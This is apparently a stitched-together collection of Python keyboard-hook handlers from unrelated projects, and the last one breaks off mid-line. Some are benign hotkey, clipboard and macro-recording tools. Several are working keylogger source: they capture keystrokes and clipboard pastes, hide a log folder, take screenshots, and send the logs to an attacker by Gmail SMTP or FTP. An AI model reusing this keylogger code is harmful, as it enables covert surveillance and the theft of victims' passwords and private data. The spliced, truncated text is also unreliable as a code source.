def checkPress(event): global numPressed, book l_ctrl_press = GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) l_alt_press = GetKeyState(HookConstants.VKeyToID('VK_MENU')) l_shift_press = GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) print("Print", event.Key) print("Ascii", event.Ascii) if event.Key == 'Oem_3': if l_shift_press: book += 1 if book >= bookMax: book = 0 fillPastes(main_GUI) if event.Key in ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]: #Is the list inclusive/Also should work everytime print("ascii satisfied") if l_ctrl_press and l_shift_press: print("ctrl-shift satisfied") numPressed = int(getNum(event)) retrieving(numPressed) if l_alt_press and l_shift_press: print("alt-shift satisfied") numPressed = int(getNum(event)) saving(numPressed) fillPastes(main_GUI) fileSave() return True
def OnKeyboardEvent(self, event): self.push2talk_active = False # in case you want to debug: uncomment next line # print repr(event), event.KeyID, HookConstants.IDToName(event.KeyID), event.ScanCode , event.Ascii, event.flags try: if GetKeyState(HookConstants.VKeyToID('VK_CAPITAL')) and GetKeyState(HookConstants.VKeyToID('VK_CONTROL')): self.push2talk_active = True if self.push2talk_active == True: logger.info('shortcut activated') except: pass return True
def suggestion_action_handeler(event): last_char = event.Key if last_char == 'Insert': global index_of_suggestion_sentence index_of_suggestion_sentence += 1 suggestion_1 = ' '.join( suggest_sentence[0:index_of_suggestion_sentence + 1]) suggestion_2 = ' '.join(suggest_sentence[index_of_suggestion_sentence + 1:7]) suggestions[6] = suggestion_1 suggestions[7] = suggestion_2 updateGui() for i in range(8): if GetKeyState(HookConstants.VKeyToID('VK_CONTROL') ) and HookConstants.IDToName(event.KeyID) == str(i): global disabled disabled = True global current_word del_current_word(current_word) # for j in range(8): # print('$'+suggestions[j]+'$') global suggestions print_on("", suggestions[i] + ' ') # print(suggestions[i]) disabled = False
def checkPress(event): l_ctrl_press = GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) l_alt_press = GetKeyState(HookConstants.VKeyToID('VK_MENU')) l_shift_press = GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) if event.Key == 'F': ctypes.windll.user32.PostQuitMessage(0) ##QUITS ON F KEY if event.Ascii in range(48, 58): if l_ctrl_press and l_shift_press: numPessed = getNum(event) sys.exit("Stopped") ##TODO: NOT STOP if l_alt_press and l_shift_press: numPressed = getNum(event) sys.exit("Stopped") ##TODO: NOT STOP return True
def key_down_event(self, event): try: if GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) and GetKeyState( HookConstants.VKeyToID('VK_MENU')): if HookConstants.IDToName(event.KeyID) == "1": print("screenshot!") title = "".join( random.choice(ascii_letters + digits) for i in range(16)) screenshot.screen(title + ".png") elif HookConstants.IDToName(event.KeyID) == "2": print("screenshot active window") elif HookConstants.IDToName(event.KeyID) == "3": print("screenshot selection") except: pass finally: return True
def KeyDownEvent(event): get_current_process() ctrl_pressed = GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) shift_pressed = GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) caps_lock = GetKeyState(HookConstants.VKeyToID('VK_CAPITAL')) key = HookConstants.IDToName(event.KeyID) output = "" # Handle CTRL+[] shortcuts. if ctrl_pressed and "control" not in key: if key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() output = "\r\nCTRL+{} Contents:\r\n\r\n{}\r\n".format( key, pasted_value) else: output = "CTRL+{}".format(key) # Handle SHIFT modifiable keys. elif key in shift_keys: if shift_pressed: output = shift_keys[key][1] else: output = shift_keys[key][0] # Handle capitalized keys. elif (shift_pressed and not caps_lock) or \ (caps_lock and not shift_pressed): output = key.upper() else: output = key.lower() print("[{}]".format(output), end="", flush=True) # Pass execution to next hook registered return True
def OnKeyboardEvent(event): # ctrl v if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V': win32clipboard.OpenClipboard() pasted_value = " [***CTRL+V***] " + win32clipboard.GetClipboardData() + " [END CTRL+V] " win32clipboard.CloseClipboard() else : pasted_value = '' FORMAT = '%(asctime)-15s %(message)s' logging.basicConfig(filename= logfile, level=logging.DEBUG, format=FORMAT, filemode='a') logging.log(10,str(event.WindowName) + " " + str(event.Key) + pasted_value) provatesto = str(event.Key) # print provatesto return True
def OnKeyboardEvent(event): global strLogs, objTimer, intLogChars, objTimer2 try: # check to see if variable is defined strLogs except NameError: strLogs = "" def SendMessages(strLogs, strEmailAc, strEmailPass, strExIP): global blnFirstSend # easier to just define this variable to be global within the functions try: if blnFirstSend == "True": strMessage = "Keylogger Started At: " + time.strftime( "%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n" blnFirstSend = "False" else: strMessage = "" if os.path.isfile( strLogPath ): # if there are old logs that need to be sent, add them to message objFile = open(strLogPath, "r") strOldLogs = objFile.read() objFile.close() strMessage += strOldLogs + strLogs os.remove(strLogPath) # delete old log file else: strMessage += strLogs strEmail = "Subject: {}\n\n{}".format( "New Keylogger Logs From " + strExIP + " " + strHostname, strMessage) SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465) SmtpServer.ehlo() # identifies you to the smtp server SmtpServer.login(strEmailAc, strEmailPass) SmtpServer.sendmail(strEmailAc, strEmailAc, strEmail) SmtpServer.close() except: # if the logs cannot be sent, save them to txt file to try again later if not os.path.isdir( cPuffDir): # if the screen dir doesnt exist, create it os.makedirs(cPuffDir) subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden if not os.path.isfile(strLogPath): objFile = open(strLogPath, "w") else: objFile = open(strLogPath, "a") objFile.write(strMessage) objFile.close() def StoreMessagesLocal(strLogs): global blnFirstSend # log keys locally if os.path.isfile(strLogFile): objLogFile = open(strLogFile, 'a') else: objLogFile = open(strLogFile, 'w') if blnFirstSend == "True": objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") blnFirstSend = "False" objLogFile.write(strLogs) objLogFile.close() def CreateNewThreadMessages( ): # function for creating thread for sending messages if not strLogs == "": if blnStoreLocal == "True": StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=[strLogs]) StoreLogThread.daemon = True StoreLogThread.start() else: SendMailThread = threading.Thread( target=SendMessages, args=([strLogs, strEmailAc, strEmailPass, strExIP])) SendMailThread.daemon = True SendMailThread.start() def SendScreen( ): # function to send screens (easier to do this as a new function) try: objMsg = MIMEMultipart() objMsg["Subject"] = "New Screenshot From " + strExIP for strScrPath in os.listdir(cPuffDir): # add files to the message strScrFullPath = cPuffDir + "/" + strScrPath img = MIMEImage(file(strScrFullPath, "rb").read()) img.add_header('Content-Disposition', 'attachment', filename=strScrPath) objMsg.attach(img) SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465) SmtpServer.ehlo() SmtpServer.login(strEmailAc, strEmailPass) SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string()) SmtpServer.close() except: # if the screen cannot send, pass and try again later pass else: for strScrPath in os.listdir(cPuffDir): os.remove( cPuffDir + "/" + strScrPath ) # if the screenshot(s) sent successfully, remove them def TakeScr(): # function to take screenshot if blnStoreLocal == "True": threading.Thread(pyscreeze.screenshot().save( time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start() else: if not os.path.isdir( cPuffDir): # if the screen dir doesnt exist, create it os.makedirs(cPuffDir) subprocess.Popen(["attrib", "+H", cPuffDir]) # make folder hidden strScrPath = time.strftime( cPuffDir + "/%Y%m%d%H%M%S" + ".png") # save screenshot with datetime format threading.Thread(pyscreeze.screenshot().save(strScrPath)).start() SendScreenThread = threading.Thread(target=SendScreen) SendScreenThread.daemon = True SendScreenThread.start() # ctrl Lshift, rshift, h to stop program if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and \ GetKeyState(HookConstants.VKeyToID("VK_LSHIFT")) and HookConstants.IDToName(event.KeyID) == "H": exit(0) if event.Ascii == 8: strLogs = strLogs + " [Bck] " elif event.Ascii == 9: strLogs = strLogs + " [Tab] " elif event.Ascii == 13: strLogs = strLogs + "\n" elif event.Ascii == 0: # if the key is a special key such as alt, win, etc. Pass pass else: intLogChars += 1 strLogs = strLogs + chr(event.Ascii) if blnUseTime == "True": # if the user is sending messages by timer if not objTimer.is_alive(): # check to see if the timer is not active objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages) objTimer.daemon = True objTimer.start() strLogs = "" intLogChars = 0 else: if intLogChars >= intCharPerSend: # send/save message if log is certain length CreateNewThreadMessages() strLogs = "" intLogChars = 0 if blnScrShot == "True": # if the user is capturing screenshots if not objTimer2.is_alive(): objTimer2 = threading.Timer(intScrTime, TakeScr) objTimer2.daemon = True objTimer2.start() return True # return True to pass key to windows
def OnKeyboardEvent(event): global strLogs, objTimer, intLogChars, objTimer2 try: # check to see if variable is defined strLogs except NameError: strLogs = "" def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP): global blnFirstSend # easier to just define this variable to be global within the functions try: if blnStop == "True": strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") strMessage = strDateTime + "\n\n" + strLogs elif blnFirstSend == "True": strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") strMessage = strDateTime + "\n\n" + strLogs blnFirstSend = "False" else: strMessage = strLogs strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage) SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465) SmtpServer.ehlo() # identifies you to the smtp server SmtpServer.login(strEmailAc, strEmailPass) SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage) SmtpServer.close() except: os._exit(1) # if for some reason, the email cannot send, exit program including threads. def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop): global blnFirstSend try: ftp = FTP(); ftp.connect(strFtpServer, 21) ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath) # connect to ftp server TMP = os.environ["TEMP"] objLogFile = open(TMP + "/log.txt", 'w') if blnStop == "True": objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") elif blnFirstSend == "True": objLogFile.write("\n" +"Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") blnFirstSend = "False" objLogFile.write(strLogs) objLogFile.close() # create log file arFileList = ftp.nlst() if "log.txt" in arFileList: objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile) else: objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile) objLogFile.close(); ftp.close() objLogFile = open(TMP + "/log.txt", 'w'); objLogFile.close() # delete log file contents except: os._exit(1) def StoreMessagesLocal(strLogs, blnStop): global blnFirstSend # log keys locally if os.path.isfile(strLogFile): objLogFile = open(strLogFile, 'a') else: objLogFile = open(strLogFile, 'w') if blnStop == "True": objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") elif blnFirstSend == "True": objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") blnFirstSend = "False" objLogFile.write(strLogs) objLogFile.close() def CreateNewThreadMessages(): # function for creating thread for sending messages if not strLogs == "": if blnStoreLocal == "True": StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop)) StoreLogThread.start() elif blnFTP == "True": SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop)) SendFTPThread.start() else: SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP)) SendMailThread.start() def SendScreen(): # function to send screens (easier to do this as a new function) if blnFTP == "True": try: ftp = FTP(); ftp.connect(strFtpServer, 21) ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath) objScrFile = open(strScrPath, "rb") ftp.storbinary("STOR " + strScrPath.split("/")[1], objScrFile) # copy image to ftp objScrFile.close(); ftp.close() except: pass # pass to try again later else: try: objMsg = MIMEMultipart() objMsg["Subject"] = "New Screenshot From " + strExIP img = MIMEImage(file(strScrPath, "rb").read()) # attach image as original file name img.add_header("Content-Disposition", "attachment; filename= %s" % strScrPath.split("/")[1]) objMsg.attach(img) SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo() SmtpServer.login(strEmailAc, strEmailPass) SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string()) SmtpServer.close() except: pass os.remove(strScrPath) # delete file after sending def TakeScr(): # function to take screenshot if blnStoreLocal == "True": threading.Thread(pyautogui.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start() else: global strScrPath TMP = os.environ["TEMP"] strScrPath = time.strftime(TMP + "/%Y%m%d%H%M%S" + ".png") # save screenshot with datetime format threading.Thread(pyautogui.screenshot().save(strScrPath)).start() SendScreenThread = threading.Thread(target=SendScreen) SendScreenThread.start() if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H": # CTRL-RIGHT_SHIFT-H to stop the program if blnStoreLocal == "True": StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True")) StoreLogThread.start() elif blnFTP == "True": SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True")) SendFTPThread.start() else: SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP)) SendMailThread.start() exit() if event.Ascii == 8: if blnBackRemove == "True": if not strLogs == "": if intLogChars > 0: strLogs = strLogs[0:len(strLogs) - 1] else: strLogs = strLogs + " [BckSpace] " elif event.Ascii == 9: strLogs = strLogs + " [Tab] " elif event.Ascii == 0: # if the key is a special key such as alt, win, etc. Pass pass else: intLogChars += 1 strLogs = strLogs + chr(event.Ascii) if blnUseTime == "True": # if the user is sending messages by timer if not objTimer.is_alive(): # check to see if the timer is not active objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages) objTimer.start() strLogs = ""; intLogChars = 0 else: if intLogChars >= intCharPerSend: # send/save message if log is certain length CreateNewThreadMessages() strLogs = ""; intLogChars = 0 if blnScrShot == "True": # if the user is capturing screenshots if not objTimer2.is_alive(): objTimer2 = threading.Timer(intScrTime, TakeScr) objTimer2.start() return True # return True to pass key to windows
def on_keyboard_event(self, event): # if GetKeyState(HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int("0x4D", 16) : # if(event.MessageName == 'key sys down'): # tcpThread = threading.Thread(name='blocking', # target=self.send_tcp_command, # args=(self.eventThread,timeOut,self.queue)) # tcpThread.start() # "ALT+V record event " if GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x56", 16): if self.is_record: if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key # add the last up ALT , before stop recording self.create_event_list(Event_type["key sys up"], 0, 164) self.is_record = False self.logger.info('Capture : STOP Recording ') else: if not self.is_play: if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.is_record = True self.logger.info('Capture : START Recording ') self.start_time = time.time() else: self.logger.info( 'If you want record event, please first stop playback ' ) # "ALT+B play list" elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x42", 16): if self.is_play: if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.is_play = False self.logger.info('Playback : STOP playback ') else: if not self.is_record: if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.is_play = True self.logger.info('Playback : PLAY playback ') t = threading.Thread(target=self.play_event_list) t.start() else: self.logger.info( 'If you want play event, please first stop recording ') # ALT+S Save current list. elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x53", 16): if not self.is_record and not self.is_play: if event.MessageName == 'key sys down': self.save_event_list() self.logger.info('Saving List') else: self.logger.info( 'If you want save list, please first stop playback and capture ' ) # ALT+L Load merged xml files elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x4C", 16): if not self.is_record and not self.is_play: if event.MessageName == 'key sys down': path = str(os.getcwd()) self.event_list = self.xml_data.merge_files( path, "command", "param") self.logger.info('Merge xml files into the command list') # for element in self.event_list: # print element # "ALT+N clear recording list" elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x4e", 16): if not self.is_record and not self.is_play: if event.MessageName == 'key sys down': del self.event_list[:] self.logger.info('Event List : clear ') else: self.logger.info( 'If you want clear list, please first stop playback and capture ' ) elif GetKeyState( HookConstants.VKeyToID('VK_LSHIFT') ) and event.KeyID == HookConstants.VKeyToID('VK_SNAPSHOT'): # print "Shift+Print screen" self.logger.info('KeyboardEvent : Shift+Print screen ') if self.is_record: print event.MessageName self.create_event_list(Event_type[event.MessageName], 160, event.KeyID) # "CTRL+key" elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')): # if button ctr is DOWN only !! # self.logger.info('KeyboardEvent CTRL: %s %s ',event.MessageName, hex(event.KeyID)) if self.is_record: if event.Key in string.ascii_uppercase: # if ctrl pressed and The uppercase letters 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' self.create_event_list(Event_type[event.MessageName], 162, event.KeyID) t = threading.Thread(target=self.do_capture_screen) t.start() else: self.create_event_list(Event_type[event.MessageName], 0, event.KeyID) t = threading.Thread(target=self.do_capture_screen) t.start() # Keys else: # self.logger.info('KeyboardEvent : %s %s ',event.MessageName, hex(event.KeyID)) if self.is_record: if event.MessageName == 'key down': self.create_event_list(Event_type[event.MessageName], 0, event.KeyID) t = threading.Thread(target=self.do_capture_screen) t.start() else: self.create_event_list(Event_type[event.MessageName], 0, event.KeyID) return True
def OnKeyboardEvent(event): global strLogs, objTimer, intLogChars try: # check to see if variable is defined strLogs except NameError: strLogs = "" def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP): try: if blnStop == "True": strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") else: strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") strMessage = strDateTime + "\n\n" + strLogs strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage) SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465) SmtpServer.ehlo() # identifies you to the smtp server SmtpServer.login(strEmailAc, strEmailPass) SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage) except: os._exit(1) # if for some reason, the email cannot send, exit program including threads. def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop): try: ftp = FTP(); ftp.connect(strFtpServer, 21) ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath) # connect to ftp server TMP = os.environ["TEMP"] objLogFile = open(TMP + "/log.txt", 'w') if blnStop == "True": objLogFile.write("\n\n"+"Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")+"\n\n") else: objLogFile.write("\n\n"+"Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") objLogFile.write(strLogs); objLogFile.close() # create log file arFileList = ftp.nlst() if "log.txt" in arFileList: objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile) else: objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile) objLogFile.close() # send log file except: os._exit(1) def StoreMessagesLocal(strLogs, blnStop): # log keys locally if os.path.isfile(strLogFile): objLogFile = open(strLogFile, 'a') else: objLogFile = open(strLogFile, 'w') if blnStop == "True": objLogFile.write("\n\n""Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") else: objLogFile.write("\n\n""Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n") objLogFile.write(strLogs); objLogFile.close() if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H": # CTRL-RIGHT_SHIFT-H to stop the program if blnStoreLocal == "True": StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True")) StoreLogThread.start() elif blnFTP == "True": SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True")) SendFTPThread.start() else: SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP)) SendMailThread.start() exit() if event.Ascii == 8: if blnBackRemove == "True": if not strLogs == "": strLogs = strLogs[0:len(strLogs) - 1] else: strLogs = strLogs + " [BckSpace] " elif event.Ascii == 9: strLogs = strLogs + " [Tab] " elif event.Ascii == 0: # if the key is a special key such as alt, win, etc. Pass pass else: intLogChars += 1 strLogs = strLogs + chr(event.Ascii) def CreateNewThreadMessages(): # function for creating thread for sending messages if not strLogs == "": # if the log is not empty if blnStoreLocal == "True": StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop)) StoreLogThread.start() elif blnFTP == "True": SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop)) SendFTPThread.start() else: SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP)) SendMailThread.start() if blnUseTime == "True": # if the user is sending messages by timer if not objTimer.is_alive(): # check to see if the timer is not active objTimer = threading.Timer(strTimePerSend, CreateNewThreadMessages) objTimer.start() strLogs = ""; intLogChars = 0 else: if intLogChars >= intCharPerSend: # send/save message if log is certain length CreateNewThreadMessages() strLogs = ""; intLogChars = 0 return True
def shift_down(self): """ Determine if either shift key is pressed """ return GetKeyState(HookConstants.VKeyToID("VK_SHIFT"))
def ctrl_down(self): """ Determine if either control key is pressed """ return GetKeyState(HookConstants.VKeyToID("VK_CONTROL"))
def on_keyboard_event(self, event): # "ALT+V record event " if GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x56", 16): if self.event_manager.get_recording_status(): if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key # add the last up ALT , before stop recording self.event_manager.fill_buffers(Event_type["key sys up"], 0, 164) self.event_manager.set_stop_recording() self.logger.info('STOP Recording ') else: if not self.event_manager.get_playback_status(): if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.event_manager.set_start_recording() self.logger.info('START Recording ') else: if event.MessageName == 'key sys down': self.logger.info( 'If you want record event, please first stop playback ' ) # "ALT+T send value by TCP " if GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x54", 16): if self.event_manager.get_send_tcp_status(): if event.MessageName == 'key sys down': self.event_manager.set_stop_send_tcp() self.logger.info('STOP SEND TCP ') else: if event.MessageName == 'key sys down': self.event_manager.set_start_send_tcp() self.logger.info('START SEND TCP ') # "ALT+R send value by RS232 " if GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x52", 16): if self.event_manager.get_send_rs232_status(): if event.MessageName == 'key sys down': self.event_manager.set_stop_send_rs232() self.logger.info('STOP SEND RS232 ') else: if event.MessageName == 'key sys down': self.event_manager.set_start_send_rs232() self.logger.info('START SEND RS232 ') # ALT+P make screenshoot with mouse or key down if GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x50", 16): if self.event_manager.get_capture_status(): if event.MessageName == 'key sys down': self.event_manager.set_stop_capture() self.logger.info('STOP SCREEN SHOOT ') else: if event.MessageName == 'key sys down': self.event_manager.set_start_capture() self.logger.info('START SCREEN SHOOT') # "ALT+B play list" elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x42", 16): if self.event_manager.get_playback_status(): if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.event_manager.set_stop_playback() self.logger.info('Playback : STOP playback ') else: if not self.event_manager.get_recording_status(): if event.MessageName == 'key sys down': # key sys down when ALT+V pressed. Key down if single key self.event_manager.set_start_playback() self.logger.info('Playback : PLAY playback ') t = threading.Thread( name='Play list', target=self.event_manager.play_playback_list()) t.start() else: self.logger.info( 'If you want play event, please first stop recording ') # ALT+S Save current list. elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x53", 16): if not self.event_manager.get_recording_status( ) and not self.event_manager.get_playback_status(): if event.MessageName == 'key sys down': self.event_manager.save_playback_list() self.logger.info('Saving List') else: self.logger.info( 'If you want save list, please first stop playback and capture ' ) # ALT+L Load merged xml files elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x4C", 16): if not self.event_manager.get_recording_status( ) and not self.event_manager.get_playback_status(): if event.MessageName == 'key sys down': self.event_manager.load_xml_to_playback_list() self.logger.info('Merge xml files into the command list') # "ALT+N clear recording list" elif GetKeyState( HookConstants.VKeyToID('VK_MENU')) and event.KeyID == int( "0x4e", 16): if not self.event_manager.get_recording_status( ) and not self.event_manager.get_playback_status(): if event.MessageName == 'key sys down': self.event_manager.clear_playback_list() self.event_manager.clear_tcp_queue() self.event_manager.clear_rs232_queue() self.logger.info('Event List : clear ') else: self.logger.info( 'If you want clear list, please first stop playback and capture ' ) elif GetKeyState( HookConstants.VKeyToID('VK_LSHIFT') ) and event.KeyID == HookConstants.VKeyToID('VK_SNAPSHOT'): # print "Shift+Print screen" self.logger.info('KeyboardEvent : Shift+Print screen ') if self.event_manager.get_recording_status(): self.event_manager.fill_buffers(Event_type[event.MessageName], 160, event.KeyID) # "CTRL+key" elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')): # if button ctr is DOWN only !! # self.logger.info('KeyboardEvent CTRL: %s %s ',event.MessageName, hex(event.KeyID)) if self.event_manager.get_recording_status(): if event.Key in string.ascii_uppercase: # if ctrl pressed and The uppercase letters 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' self.event_manager.fill_buffers( Event_type[event.MessageName], 162, event.KeyID) if self.event_manager.get_capture_status(): self.event_manager.fill_buffers( Event_type[event.MessageName], 0, event.KeyID) t = threading.Thread( target=self.event_manager.do_capture_screen) t.start() # Keys else: if self.event_manager.get_recording_status() or self.event_manager.get_send_tcp_status() or \ self.event_manager.get_send_rs232_status(): self.event_manager.fill_buffers(Event_type[event.MessageName], 0, event.KeyID) if event.MessageName == 'key down' and self.event_manager.get_capture_status( ): t = threading.Thread( target=self.event_manager.do_capture_screen) t.start() return True
def keypressed(self, event): global x, data # print repr(event), event.KeyID, HookConstants.IDToName(event.KeyID), event.ScanCode , event.Ascii, event.flags if event.Ascii == 13: keys = '<ENTER>\n' elif event.Ascii == 8: keys = '<BACK SPACE>' elif event.Ascii == 9: keys = '<TAB>' elif HookConstants.IDToName(event.KeyID) == 'Delete': keys = '<DEL>' elif event.Ascii == 32: keys = ' ' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '1': keys = '!' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '2': keys = '@' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '3': keys = '#' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '4': keys = '$' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '5': keys = '%' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '6': keys = '^' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '7': keys = '&' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '8': keys = '*' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '9': keys = '(' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '0': keys = ')' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState( HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Minus': keys = '_' elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) 